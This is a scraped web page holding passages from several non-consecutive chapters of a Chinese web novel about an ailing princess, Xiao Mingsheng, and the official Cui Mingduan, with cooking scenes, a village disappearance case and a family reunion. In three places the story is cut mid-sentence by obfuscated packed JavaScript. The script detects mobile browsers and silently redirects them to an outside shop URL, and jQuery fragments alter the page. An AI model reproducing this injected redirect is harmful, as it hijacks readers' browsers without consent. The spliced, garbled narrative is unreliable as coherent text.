阿草苦恼摇摇头，但也没说出其中内情。 萧鸣笙略略想了想，便有了新的打算了。 * 内城，今日柿子也入了皇家的眼。 崔明端还在走赴任的流程，陛下一道口谕，他又进了宫。 陛下这些年励精图治，身边没几个能说得上话的臣子，底下的人莫不恭敬。 而崔明端是皇子伴读，也是王府的老人，从前一起写太傅留的功课，而今，皇子已经成了天子，上头再无人能约束着，反倒是常常想起他这个伴读来。 今日入宫，也只为画一幅画，一幅海晏河清图。 崔明端下放过地方，看过千里江山，再由着腹内万卷书，泼墨挥毫。 这画，自然不能一蹴而就。 半道，宫人请他歇息时，就上了几个红通通的柿子，说是陛下御赐的。 “今年的柿子，格外圆一些。陛下记得大人爱吃，特意让奴才送了些过来。“ 崔明端倒不是爱吃柿子。只是，先帝在时，未立太子，京中万象风起云涌，家里常备柿子，就为一个柿柿如意的彩头。 他的书袋也是母亲亲自打理的，故而常常带着，自然也分给皇子。于是乎，就连是天子，也认为崔明端喜欢柿子。 “臣，多谢陛下隆恩。” 他当即便拿起一个，不过没吃垂眸瞧着，确如宫人所说，果子大而饱满，不免是想到了城外青山。 梅花坞的山上，隐约可见柿子树，也不知他们是否有柿子可吃。 “大人，这柿子有问题？” “无事……我只是有些疲乏，所以缓一缓。公公自便就是。” 崔明端沿着宫墙走着，散散心，这些举动，自然也事无巨细报到了陛下那儿。 天子亦是停了批阅奏折，若有所思。 贴身伺候的，是内侍监，与崔明端也是熟识。此番不由替崔大人捏了一把汗，但陛下也没再多言，吩咐照着往日规矩给崔明端赐菜。 赐膳也不够，君臣二人又一道吃了茶，等到内侍监提醒陛下到了午歇的时辰了，崔明端才得以出宫。 赏赐他的柿子，就送到了三夫人的手上。 那些个侍女又是好一顿夸赞，郎君孝心，夫人洪福云云。 崔明端手中空空，握着拳又松了松，回去时，无端想起那日在市集吃到的酸甜果脯。 “阿藤。” 阿藤一直候在廊下，等着郎君差遣。 “大人，可是要用写什么？” 宫里赐饭，不能放开了肚子吃，是需要另外吃一些。 但崔明端不是腹中饥饿。是那玉茄果脯勾人，抑或是旁的东西？ “府里的菊花……” “是……” 阿藤当即是凛了神色，大人一直揪着菊花不妨，想来是真心要整治一番。 “找个厨子来，炸菊花吃。”他家大人如是道。 …… 崔明端的菊花宴，不知后续如何，但三夫人是彻底放心了，让人再置办了好些东西，明日就是重阳了。 虽是闰九月，算起来是第二个重阳了，但三房主事，不能让人看轻了去。 萧家，也在预备重阳事宜。因着上个月，萧鸣笙在病中，多少年节也没正经过。好不容易身子有了气色，自然是要好好庆贺。 重阳节气，登高望远。 梅花坞的地理位置，本身是高的。要望远，直接在院门口，看一看，也就是了，也免去了出门的事宜。 萧鸣笙预备了一些泡茶用的东西，她一直在吃药，清茶吃不了，但重阳花茶，是可以吃一吃的。 主料也是院中的菊花。 因着那一层尚未明朗的缘由，萧鸣笙再行辣手摧花之事，反而是有些快意的。炸菊花，她吃了一朵，他还吃了三朵呢！ 采下初开的菊花，借着秋日晴朗晾晒干，收起来备用。 而一些半开的，直接摘了，放进炉子里煮，加少许的糖，更显风味。 唯一可惜的是，这儿只有陶壶，不能看清菊花在山泉翻涌，与糖丝交缠，芬香逃逸。 众人吃着甘香的花茶，齐齐吐出胸中浊气，好似被洗涤过一番。 昨日晒的柿饼，有些软塌塌了，阿草只吃了一杯菊花茶，一直围着它们打转。 好不容易得了卢妈妈同意，她拿一个试着吃了吃，呸呸吐着气，柿饼还带着些涩。 但比起那些个挂着白霜的柿饼，她显然是更爱吃这样的半成的柿饼。 菊花茶还没淡下去，已有一队人往山上来了，乌泱泱的一群人。 梅花坞的百姓，是时常能看到，一年总是有好几次，便能看到那些衣衫统一的家仆来送东西。 也不知山上住的是什么人。 有几个心思机灵的，报给了村长听。然而，村长也只是老神在在，“她一人就能住一座山，想来是个要紧的人物。你们不要起了什么坏心思，不然，到时候连自己的命怎么没了都不知道。” 围观的村民，自然是个个点头称是，但心中是如何打算的，就只有他们自己知道了。 老三家的房子，如今教张大娘自己霸占着，为的也是那几条可以出栏的猪。 老三媳妇手脚勤快，猪崽一年能出栏两次，能换不少的银子。这些银子，有大半是攒着的。 余下的，便是家里的花用了。孩子还小，总是要生几回的病。她原本是指着猪出栏后，把租子还给姑娘。 眼下，家中攒的银子没了，猪也没了，家更是回不去了。她一人在村尾的破房里，用几个石块垒了个土灶，上面搁了个破陶瓮，歪歪斜斜装着半肚的水。 那日萧鸣笙就邀她去家里住着，奈何她一直哭着摇头。已经欠了姑娘的钱，也没脸去。 这儿的小木房，是夫君搭的，方便守田的时候眯一眯，她住着也安心。 今日，萧鸣笙实在是放心不下，来的路上就听见了断断续续的哭声。 “我有个法子，你要是觉得好，拿回房子和猪，都是能的。” 乍一听动静，老三媳妇吓了一跳，见了她，安心之余又局促站起 18.葱香腌鱼 《梅园食方》全本免费阅读 袁志的脸色莫名有一丝古怪。 “是崔大人。” “……” 萧鸣笙不得不感慨京城可真小。当真是来个公正清廉，也算是和萧家有来往的大人。 没等她叹一声，阿草也惊讶，“那不是送菊花来的那位大人吗？” “……” 这不是，来蹭她菊花饼的大人吗？ * 梅花坞骤然出了案子，吏部的人也不知是如何办的，崔明端赴任的诸多礼节，已经妥了，即刻就能去衙门里点卯。 宫里的那幅画，也没画完，崔明端去告罪时，反而是得了陛下一阵打趣，“想来是这画成了精，有了灵智，你才开始动笔，便有了案子。莫不是朕得苍天指引，才点了你去陵安府，便出了这样大的事？你就尽心去办吧，这画，且留着下回。” “微臣，遵旨。” 崔明端出宫时，阿藤也已经是备好了马在宫墙外等着。街上人流如织，急也急不来，他问起了案件的经过。 “其实，陵安府那边也说不清楚。”阿藤挠着脑袋，请大人上马车，“是贵人身边的侍卫亲自来报的案，一下子惊动了不少人，好在不是贵人出事……听说是村里的一户人家，那家的男人失踪了。” 而阿藤怀里，揣着师爷记着的状纸。崔明端接过，翻了翻，有些疲惫按了按额角。 “府尹大人……早早派人将状纸送到小人的手上，也说陵安府里的人随大人调遣。这桩案子，说难办也难，那户人家的母亲和兄弟几个都健在，他们几个没报案，反而是贵人来报的，万一人没失踪……” 届时必定闹得满城风雨，于她清静养病，大不利。 崔明端再度睁眼，又是一派清明之色，将那纸公文放远些，闭目小憩片刻。 * 李家大娘，一贯是要强的。 老三失踪的案子，不是家里人报的，还是个外人。 乡下人家，最讲究脸面。等官爷们走了，便要撸着袖子要去找老三媳妇论理去。 她将脚步踩得震天响，生怕别人不知道似的，有几个好事的，也跟着去了。 可惜，田边那破屋，空空荡荡，什么人也没有。就靠近门的一角，有几节没燃透的木头，地上有一条黑色的痕迹，是风把灰吹了起来，又被人踩了踩。 “定是跟着那奸夫跑了。好啊，跑前还要说我儿失踪了，我看，就是他们杀了我儿……苍天呐，我的命怎么这么苦？” 她才嗷了不过两声，就被小儿子拉住了臂膀，“娘……这些话，还是别说了……” 小儿子长得文弱了些，说话也细声细气的。 李家大娘收到他眼神的示意，才算是收了声。 围观的村民也讨了个没趣，各自散了。 但是，没等各家回去，包子又小跑着来告诉大家，“官老爷来了，官老爷来了……” 他的腿脚麻利，崔明端的马车还没进村口，就被发现了。 老村长两股战战，拄着拐杖，由人扶着出了门，亲自去迎。 村口聚集了好些人，马车还没停稳，就听到了嘈嘈杂杂的声响。阿藤请大人下车，不免嘀咕：“当年初到眉州，那儿的百姓也没这样大的阵仗……” 老村长是个寿星翁，须发皆白，颤颤巍巍喊着府尹大人，青天大老爷云云。 “府尹大人没过来，本官是六品少尹，过来看看。” 人群里，当真是有人掰着手指头数了数：六品什么的，是多大的官？ 阿藤不禁是摇头，天子脚下，怎么也有这样势利的小民？ 大人的身份地位，是单用品级就能定的？说出来，怕吓死他们！ 崔明端也扫了众人一眼，开路的衙役隐约认得人，便同他介绍着：“这位，便是失踪者的母亲，旁边这位，是李家最小的儿子……” 李家小儿子的头，垂得低低的，手是紧紧搀扶着老母亲。 李家大娘，骨子里也惧怕官府，但仗着年纪，倚老卖老，就梗着脖子，“你们说我的儿子失踪了，那老身也要报案。” 那衙役险些被她气笑了，这种乡野妇人，不用打一顿，光是吓一吓就老实了。可今日跟着崔大人外出，他便也耐着性子问：“那你是要报什么案子呐？正好我们崔大人在，您仔仔细细说一说。” “我儿媳，跟人私通跑了。” “……” 那衙役回头看了眼崔大人，见大人是示意自己问下去。“户籍文书带了吗？” “都在家里。” “那名字呢？” “老三家的。” “我问你名字。” “就是老三家的……” “难不成你儿媳妇的名字就叫老三家的？” 好不容易李家大娘被问得哑了声，扭头看了看乡亲们。就连低眉顺眼的小儿子也有些着急，数次动了嘴唇。 见状，村长连连咳嗽，众人的笑才消停下来。“让大人见笑了……不过是他们娘俩拌了嘴，没私通这样的事……说什么失踪，不知是不是也是误会？” 说到底，这些就是个家事，他都觉得家丑不外扬。 他是想大事化小，小事化了。但明显青天大老爷不是这样想的，照着问案的规矩，让衙役跟着记录。 李家大娘就是个欺软怕硬的，衙役问了好些关于老三媳妇的事，就名字这一条，她都答不出来。 “她配了人，随了我们老李家的姓，谁还记得她以前哪个名字……” 李家小儿子在一旁，好不容易才说一声，“叫……桂贤。” “你怎么知道？” 衙役和李家大娘异口同声问道。 “听……听三哥说过……” 问案，还在继续。 崔明端在村子附近走了走，也问了些旁的琐事。 有些爱看热闹的村民，反而是给他指了一条明路，“大人要查案，那老三媳妇……今早我也看过，就在我们村尾那小破屋里，打那儿经过的人，可多了。村里的懒汉，她那几个叔伯都去了。不过，也是她命好吧，跟着山上的贵人走了。大人的官位……” 说话间，他更是打量了一下崔明端的绯衣官袍。被指派到京郊来的官，又只是六品，也不知能不能招惹山上那位贵人。 “大人要是真心想查的话，不如去山腰查一查。那户人家，我们虽然说不清他的来路，但总是有些怪的。好几年了，那家人既没孩子，也没个正经的男人在家，不知是哪家大人养在外头的……” 越说越不正经了，阿藤眼瞅着大人的目光是一点一点冷了下去，赶忙打断：“是了，多谢你了。我们这就去查查。” 而这人走之前，愣是将崔明端上下打量了一通。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12870783|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我便说了，你没心眼子，不过是随口一问，你便一骨碌倒来。要是想以食摊立足，便要将你手上的方子藏好了。我不可信，旁人未必就可信。” 萧鸣笙舀着那勺子粥，瞅着上头飘忽的热气，试探性问了一声：“我怎觉着，道长在暗示你家六郎……” “哼，谁家六郎？” “那……总不能是我家的？” …… 一老一少在堂屋吃粥斗嘴，好不鲜活。斗到最后，萧鸣笙顺道将爆炒小鱼干的方子也说了出来。 “内侍省送了一篮子小鱼干来，这是昨日就炒好，道长尝了喜欢带些走？” “我听听就好。” “……好。将鱼干洗一洗，沥干水分备用，蒜切末，姜切丝……” 正说到姜，道长便倒吸一口凉气。可他是修道多年的道长，怎么能不喜姜？只能蹙眉囫囵吞了，再去听这个食方。 “热锅下油，把鱼干倒进去，稍稍煎到金黄再翻炒。放入姜蒜、辣椒，再淋一点点料酒。若是要重口些，便多放一勺酱油，也可放半勺的糖调味。这样做来，既能下饭，也能下酒。” 如昨日同他说荷叶排骨糯米饭的做法一般，宛如林间清泉，不吝将食方细细道来。 崔明端在外头站了已经有一会儿了，卢妈妈陪他站着，也没开口。 好不容易等郡主的声停了，卢妈妈要通报，谁知崔明端转身就回了院中。 “大人……” 这一番动静，里头已经知晓。偏正主岿然不动，又多夹了一筷子小鱼干，再配一块萝卜，咔嚓咔嚓嚼着，吃得好不欢快。 萧鸣笙才要起身，便又得了对面人一个眼风。 “这……那……我家六郎来了，总不能不去看一眼吧？”萧鸣笙也为难。 “哼，他是你家的，还要你出去招待么？” “……” 话是这么说，但眼下还是出去看一眼罢。时辰这么早，万一道长家的六郎哭鼻子呢？ 萧鸣笙不知就她起身的功夫，一直埋头吃粥的人，也跟着她的步伐往外看了眼。 可惜了，除了隐隐青山，什么也没看到。 萧鸣笙走到门槛处，忽而回头，猝不及防抓住了探头的道长。 同是泛红的眼眶——中年版的崔大人啊。 * 崔明端在廊下负手而立，神色不挠。若非有晨起的冷风，怕是要把持不住。 直至那一股药气馨香近前来，他才恍然，“扰了郡主用饭……” “无碍……咳……” 外头的风大，萧鸣笙一开口说话，咳意便压制不住。 “郡主入内罢……臣……” 想告辞的话，还哽在喉头。父亲不一定想见他。 只可惜，人未走，袖口已教人捏住。 面前女子还咳得芙蓉面发红。 “臣，越礼了。”说罢，崔明端近前一步，如第一回那般，无师自通，轻轻给她拍背，一下一下。 “家中琐事，郡主……实在不必费心。” “咳……” 萧鸣笙其实是含了笑，奈何被咳嗽压制了。“大人，吃饭么？” “……” 方才那一番话，她仿佛是一字也没入耳。柔荑还紧紧捏着他袖口，不曾放开。 素日不曾觉着这身衣袍如何，与她青葱玉指一比，连月白都逊了几分颜色。 崔明端稍稍一扯，没扯回来，更是无奈往里屋瞧了一眼，“道长……” “道长在吃饭，大人吃饭么？”只靠一点点衣袖便能钳制住他行动的人，如是道。 56.鹅生 “……” 父子的默契，便是在这一刻。 崔明端也有深深的无奈。 ——吃。就该好好吃一顿，教这位小娘子知晓，不要平白招人吃饭。 * 萧鸣笙话说得圆满，然而，与崔大人一同入内，心里直打鼓。 萧家堂屋不止这个门，要是道长往别的门走了，那—— 也不影响崔大人吃饭！ 所幸，萧鸣笙领着人进去的时候，道长没走。人在凳子上，呼呼吹着米粥的热气。 二人的担忧都付之东流。 “我……” 萧鸣笙本是要开口介绍一下，缓和下气氛。单是一个崔大人在眼皮底下红眼便罢了，万一父子二人抱头痛哭…… 可惜了，她的万千思虑，毁在咳嗽上。 “咳咳……” 她一咳，道长又恢复了怼天怼地的模样，“贫道就说了，晨起的风，凉得很，不好好在家里头，往外跑什么？六郎还能跑了？” 六郎。 萧鸣笙暗暗发笑。那可不，崔家六郎是长了腿的。 多年不曾听到这称呼，崔明端心神一震，只敢匆匆扫父亲一眼，赶忙扶人坐下，自己尚且还站着。 眼前，是七年未见的父亲。 他喉头滚动，终是拱手道：“父亲。” 萧鸣笙紧紧捏着帕子，生怕对面的人来一句——叫道长。 所幸，道长没开口，反而是望着她，“坐吧，我要是对你没个好脸，只怕这半碗粥都得给小丫头抢走。” “咳咳……” ——道长，我没有，你不要诬赖我。 崔明端没急着坐下，先是给她拍了拍背。 连番动作做来行云流水，亲近自然。 云来道长也借此松了口气。六郎是长大了，不止身量比从前健壮，也懂得体贴人。他总算没全然辜负萧家。 有萧鸣笙的咳嗽缓和气氛，父子多年未见，也不至于过于尴尬。 她才要开口说话，便被念叨了一句，“病着，就别掺这些琐事。我是修道去了，又不是练什么邪门功法需得封情绝爱，连我儿子也不认了。” “……” 这下，别说是萧鸣笙了，连崔明端亦是讶然。这七年，不是没小人嘀咕过：崔三爷别是给什么东西沾上了吧？怎么好好一个崔家儿郎，忽然撇了发妻与儿子修道去？ “作甚？吃饭。” 经由这一番折腾，放着的米粥也该凉了。 也就在她出去的这一会儿功夫，道长已经化开了一碗褐色的药汤，“吃两口，或是对症的。” 萧鸣笙端起，还没入口。道长又是怒目圆睁，看了眼崔明端，“往后，饮食也该多长个心眼。我给的东西，便能不试么？” “……是儿子的疏忽。”崔明端认错总是相当利落。然而，与萧鸣笙不同的是，在官场历练过的人，话锋一转，言笑晏晏，“儿子想着，父亲挂念郡主的病，想来是早早就研制好了丸药。儿子不知趣便罢了，白白费了父亲的药，也耽搁了郡主便不好了。” “哼……”道长倒是没再多言。油腔滑调，真是像极了自己年少时。 唯独萧鸣笙举着那碗，尚且要打趣一句：“那我，还喝么？” “喝。” “哦。” 萧鸣笙乖乖喝了一口，不苦。她才疑惑歪着头，道长便笑骂一声：“甜吧？” “唔……”别又是哄孩童的医方。 “我放了不少甘草和蜂蜜，还不甜，蜜蜂要来蜇人了。” 好冷的说辞。萧鸣笙已经仰头将那半碗甜甜的药水喝了下去，还没道谢，道长已将那碗白粥吃完，就要起身。 “父亲……” 崔明端也跟着起身，已有七年不见，他心里有许多话要问。 父子二人一同出去，阿草也找了个机会进来，“郡主，这个将军好凶啊……” “……叫他道长，不然听见了，会更凶的。” “哦，道长……不过道长对郡主好……嘻嘻，那凶点也没事……” 阿草说的没错，云来道长再凶，心还是好的。 * 屋外，寒风萧瑟，不因朝阳冒出山头而有所收敛。 道长径直走到了门外的荒地上，那几个靶子立着，不是独一个，但不知为何，看过去总是有些孤伶。 他也没再往前，就停在萧鸣笙昨日射箭的位置站定，无需回首，也知六郎跟了来。 “父亲……身子可好？” “能不好么？流连山野，与万物为友，无尘世可恼，瞧瞧，是不是比从前还胖了一圈？” 说罢，他还抬了抬道袍，只见道袍单薄，瞧不出胖瘦——依崔明端看，反倒是比从前潦倒些。 从前，那也是在崔明端十七岁之时了。 而眼前的儿子，早从略显青涩的少年郎，到如今老成持重的模样。 “长大了……” 云来道长说时，带着复杂难言的情绪。欣慰，也愧疚。 崔明端还没应，便听得父亲又道一句：“不过，你这般严苛，与鸣笙相配么？” “……” 崔明端是头一回在外人——父亲也不算是外人，听到她的闺名，莫名是红了耳根，却引来了父亲大乐。 “我还道崔大人如外头传的那般冷峻无情，铁面无私。到底还是个儿郎，挺好。” 道长打趣完，又转身朝着后山而去。 “父亲……”崔明端追了两步，“山林寒凉，要不还是回观里住吧。” “谁说我住山林里了？我是修道，又不学那山猴。” 鞋没沾多少泥印，道袍也没被树枝频频刮过的痕迹，不太像是从眠山那边赶来。 眼下，天也刚蒙蒙亮，两地相距十里。 不过，崔明端没驳父亲的面子，又借故说起了正事，“郡主昨日问起了动土日子，儿子不敢在父亲面前班门弄斧……” 说到萧鸣笙的事，道长又是气鼓鼓的，转身回来，对着那些靶子就是一顿骂，“看黄历的事，可别来问我一个修道之人。你一个陵安府少尹，哪来旁门左道的本事？今日就拟个折子上去，让礼部和工部自己挑个日子。” 末了，还要加上一句：“当年，修这几间小破屋，也不知是省了多少银子。那会儿四海刚平定，国库空虚，她是异姓郡主，为天下万民表率，省着些也无妨。而今，荣安郡主有封地与封赏，天子又那般爱重，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883045|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他们拟个章程来，没得还要自掏腰包。” 崔明端也是这意思。只是看父亲心中攒着往事的郁气，也不敢说昨日她就已经给了银子了。一百两的银票。 不单是为门前的台阶，也要在山下修路建屋。 这银子，是不太够。 萧鸣笙原是给他看黄历的辛苦费，奈何崔明端以为她不知世事，着意自己添些进去。 罢了，还是照父亲所言，拟个折子上去。 她是萧家女，又为异姓郡主，都不可能再安然躲在人后。 * 朝廷的动向，萧鸣笙向来不知。只惦记着冬至要给荀二郎送鹅。 荀二郎也记着卤鹅，光是在梦中就念了数回。 碍于他一向多情，妻子听得呓语，还道是在外头又有了新人，气得将他手臂掀飞。 一举便将人惊醒了，“鹅……” “夫君擦擦口水吧……” 妻子也不耐烦伺候他，径直往他脸上仍了条帕子。她是平阳柴家的女儿，与荀家门当户对。要不是荀二郎这面皮能看，唬了人，她才不要入他家的门。 “鹅鹅……”往日精明风趣的人，忽而吃吃傻笑。 柴氏也有些担忧，赶忙是往后退了退，“夫君头疼否？”头疼便叫仆妇们进来。 别是这些日子去户部，过于辛劳，将脑子使坏了。 那这门亲，还作数不，可说不准。 “鹅鹅鹅……无事，我就是想到后日是冬至了……鹅鹅……” 荀二郎又迷迷糊糊躺回，合目而睡。若不是还时不时咂摸回味那只卤鹅掌的味道，夫妇间倒也相安无事。 柴氏简直没眼看。往年冬至也不曾这样重视过。保不齐是被外头的老相好勾着了，哼！ “冬至要祭祖，夫君可别因公务繁忙忘了。” “晓得晓得……”也不能因公务繁忙，就忘了送鹅过去。 荀二郎的嘴严，萧鸣笙要送鹅一事，没跟妻子说，连崔明端也瞒着。 郡主的身子，实在是太弱了。这几日又病了，没送成也罢，万一御史闻着味参奏他一本，那可吃了个大亏。 天一亮，荀二郎就着急忙慌往崔明端的铺子去。 果不其然，就让他逮到了人。 与上回不同的是，这一回崔明端的面上，堪称东风过处，春意萌生，哪有往日露于人前的冷面？ “呦，崔大人，这是连夜查案，才从外头回来？” “荀兄……” 崔明端面皮薄，禁不住他打趣，便先转了话，“郡主托我问一声，明日的鹅……” “这鹅，我即刻就吩咐人送去。” 荀二郎要看友人的乐子，也记得自己的肚子，“想来郡主身子好了些。对了，这几日，我托人问了问，治疗头疾最好的医者，其实就在眼前，崔兄你猜是谁？” “……” 别是说的父亲。 崔三爷能开一些小儿方，京城里人尽皆知。别的本事——也能研制出与她对症的丸药。这些，暂且不宜往外宣扬。 “哈哈，你是不是想到伯父了？其实不然。”荀二郎笑着去搭他的肩膀，神秘兮兮告诉他，“这个人，还去过梅花坞，你猜是谁？” 57.鹅死 那便更好猜了。 这些年，除去内侍省送赏的宫人，除去他和荀二郎，便是那三位公子：礼部尚书家的钱知礼，只对银钱有兴趣：楚国公家的范文卓，爱交游；剩下便是忠勇侯家的，绪宁。 崔明端恍然，“侯爷早些年在战场受过伤，所以府里有一位名医。” “是了，我就说崔兄博闻广记，不想连这也知晓。” 虽然都是武将世家，但萧家与侯府，也没私交。 他们两家也是如此。荀二郎本是想缓些时候，再由郡主出面。不想崔明端已下定决心，先递个拜帖，明日冬至，正好是大节庆，上门拜访。 荀二郎一惊，打趣道：“别看我们这些世家子在京中吃得开，可侯爷是谁？当年他带兵打仗，先皇派了钦差去监军，侯爷仅用一句‘将在外，军令有所不受’就无视钦差阻拦，大破敌军，十年来秋毫无犯……” 说到此处，荀二郎又讪讪笑着收回了手。若论战功，萧家未必就比侯府差。 可萧将军马革裹尸，也没封侯。 “多谢荀兄相告，我等小辈，自然对侯爷敬而仰之。” * 冬至的卤鹅，便浩浩荡荡出发赶往梅花坞了。 荀家小厮看着这些嘎嘎叫的大鹅，有些担忧。 这些年，荣安郡主要养病，几乎无人敢来搅扰。主子让送鹅也罢，活的也罢，可这么一大群，要是让御史知晓—— 老爷该是要喝一大壶了。 萧家也从那恢弘的鹅叫声中晓得来鹅了。 阿草趴在院墙上，踮脚看了看，“郡主，这个荀大人，怎么也和大人一样，要送活的来？这个鹅毛扒起来，好麻烦的。” 拔毛费劲是一回事，萧家就这么几个人，人均八只手也处理不完。 萧鸣笙让袁志带一串钱下山去，同包子家说一说，若是他家愿意，再揽几个相熟的乡民，将鹅宰杀好再送上来卤。 如萧鸣笙所想，天寒地冻，田地里没活计可忙活，男人可以修缮房屋，女人们则是做做针线活。 拔毛的活计，轻便，几岁小儿就能做。与包家相邻交好的几家都争着。 眼瞅着阿娘为难，让谁回去也不是，包子想了个主意，“山上的贵人要得急，我家不敢独揽，婶婶们不如都来，早早给贵人送去，攒个好印象，下回有了活计，贵人一定还想着我们呢。” 众人也都应承下来。这活不单给钱，连鹅毛和内脏都给。鹅毛能做扇子，内脏也是道好肉呢，再分些铜板，也不拘多少，如包子所说，早早做完别误了贵人，可比在家纳鞋底好多了。大家齐心，回家拿刀的拿刀，烧水的烧水，褪毛拔毛，场面热火朝天。 荀家仆得了郎君嘱咐，留下来搭把手。不用两个时辰，宰杀干净的十二只大鹅便被送上了半山腰。 萧鸣笙已经得了袁志口信，说是有十二只大鹅。家里的锅，一次顶多也就用卤三两只。 正在为难之际，卢妈妈又小声道：“郡主，你要锅吗？” “……” 卢妈妈还能从库房里掏出锅来吗？ 别说，还真能。 也不知卢妈妈是怎么收纳的，只见她进去库房，没多久，就拎了两只铁锅出来。 “嘿嘿，里头还有两个。” “……” 家里的锅，怎么比人还多？ 萧鸣笙惊讶不已。萧家库房的单子，卢妈妈一直没写出来。她只看到历年赏赐，并未看到哪年赐了锅。按理来说，内廷分东西，不会连锅也分吧？ 卢妈妈别是带仓库穿越的吧？ 这念头才过脑子，卢妈妈就笑着解释道：“有一年，跟着袁志去了市集，瞧着便宜，便买了回来。” 这解释，只能解释铁锅的来源，卢妈妈不是那种看东西便宜就会买回来囤的人。萧鸣笙半信半疑，也没深究。 在院外的空地，垒了几个临时的灶台，锅一架，火一点，她再帮着添添柴火。 阿草和卢妈妈提了水过来，水将将沸腾的功夫，包大叔和袁志他们就挑着鹅上山了。 包子也在前头带路，远远见了在烧火的姑娘，忽而有些说不出话来。 他是见过雪的，白茫茫一片，能出去打雪仗，可好玩了。今日没下雪，但萧鸣笙身上那件是纯白色的狐裘，恍若仙子一般。 想到村里只有他一人知晓姑娘的身份，包子又隐隐得意起来。 姑娘可真好啊。要是能一直住在梅花坞就好了。 “姑娘，我们把鹅送来了。” 萧鸣笙起身，只见包家大叔放了东西，很有规矩退回了几步也没抬头四处打量。她让卢妈妈拿了些糕饼给他，父子二人又是好一通推辞，才谢着走了。 “荀家的人呢？” “属下上来的时候，他们还在山下，说是稍候片刻就回去。”袁志答道。 “赏钱都给了么？”萧鸣笙忽也晓得萧家的银子是花哪里去了。人情往来，哪样不要钱？ “都给了——” “没收？” “也收了。” 袁志面色古怪，萧鸣笙还以为推辞了，谁知荀家仆和阿藤是一样的，贵人的赏赐得接着，而后恭恭敬敬递上了拜帖。 冬至前后，是阴阳二气的自然转化，君子安身静体，百官绝事，不听政[1]。除了要祭祀天地，也是走亲访友的佳节。 荀二郎来拜访，也算是好事。梅花坞清幽，添添人气也好。 这样要紧的节日，内侍省也不敢含糊，因着要等些新鲜的菜蔬，巳时三刻才来。台阶还没走完，就看到这架势。 萧家外头那一大片空地，立了几个靶子，也架起了几口大锅，不知道在煮什么东西，一股肉腥气。 福公公面皮厚，放下赏赐，说了好一通吉祥话，也想套套话，看萧家这架势是预备什么好东西。 阿草还记着他提走家里那几只母鸡的仇，冷着面说了一句： “母鸡！” 这下，可把萧鸣笙逗乐了。 她一笑，众人都迷糊了。 “咳咳……病中饮食清淡，想换个口味罢了，不值当公公问询。嬷嬷，送公公几步。” 也顺便将预备好的赏赐给了。 想着那个鼓鼓囊囊的荷包，阿草也气鼓鼓的，“郡主，他不是个好人。” “罢了，我们和他计较什么？你可听过恩威并施？从前是我性子过于软和了，所以人人都能来欺负我们。往后要想着，我不单姓萧，也是陛下封的郡主，威势要用起来，也不能苛待底下的人。” “哦……”阿草似懂非懂，卢妈妈也跟着听了听。 * 午后，费了大半日功夫的卤鹅，也终于是赶在城门关闭时送了出去。 原也没想到荀二郎会送十二只过来。 “我们留一只。三只分别给那三位小爷送去。余下八只，都给荀二郎。” 除了锅里完整的大鹅，还有鹅腹内。倒不是村民不要，而是留下的荀家仆脑子灵透，悄悄问了袁志。晓得贵人自家也吃了，赶忙是留了一半下来，他另外补些钱给村民。 卤过的鹅肠、鹅腱和鹅肝，是老饕爱吃的东西。 “那留一些，剩下的都给荀二郎送去……也不知他吃不吃腹内，免得浪费了。给阿草和袁志下酒吃。” 今日一转眼，便是冬至，连着阴了几日的天，稍稍放晴。 萧家的佛龛与神位，是放正屋左侧的屋子。 或是冬日阴寒，萧鸣笙身穿狐裘进来，亦是觉着寒气逼人。 地上摆着一个蒲团，她跪下磕头，忽而没有直起身的力气。 烛火被风吹得闪动，照过那一个个名字。 她能辨出，这都是袁志刻的。 他们三个人没有跟着主子一起祭拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898278|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，萧鸣笙也借口打发卢妈妈和阿草去取东西。 “袁志……” “属下在。” “西北那边，你可知道如何是何人统帅？” 萧鸣笙问得顺畅，话音坚定，又含了素日不曾有的坚定。 “属下知道得不多，不过听说主将是原来青州军的大将军，姓折。” “河西折氏……” 萧鸣笙喃喃念了一声，再抬眼去看列祖列宗的灵位。 在她有限的历史知识，晓得这是一支鲜少能戍边两百余年的武将世家。 而萧家一脉，便没有这样的气运了。 听得阿草在外头问卢妈妈灶火的事，萧鸣笙叹气，撑地要起来，再问了最后一个问题，“我病了多年……有些事也没记住……当年，西北战亡多少？” “郡主……” 袁志亦是不忍告知。萧家亲信，几乎尽数折损。长年驻守的西北大军，去了十之八.九。 “驰援的青州军，听说也损了十万……” 这下，萧鸣笙抬头看了一眼这位几乎不离身的护卫。 “朝廷……立碑了么？” “西北似乎是有一座……” “似乎……” 萧鸣笙自嘲笑笑。也是了，自己尚且活着，就在天子脚下，也被多方糊弄。 那些早已作古的将士，谁会记得呢？ 手一抬，还如前几天一样，软绵绵的没有力气，再夹核桃，约莫也夹不出。 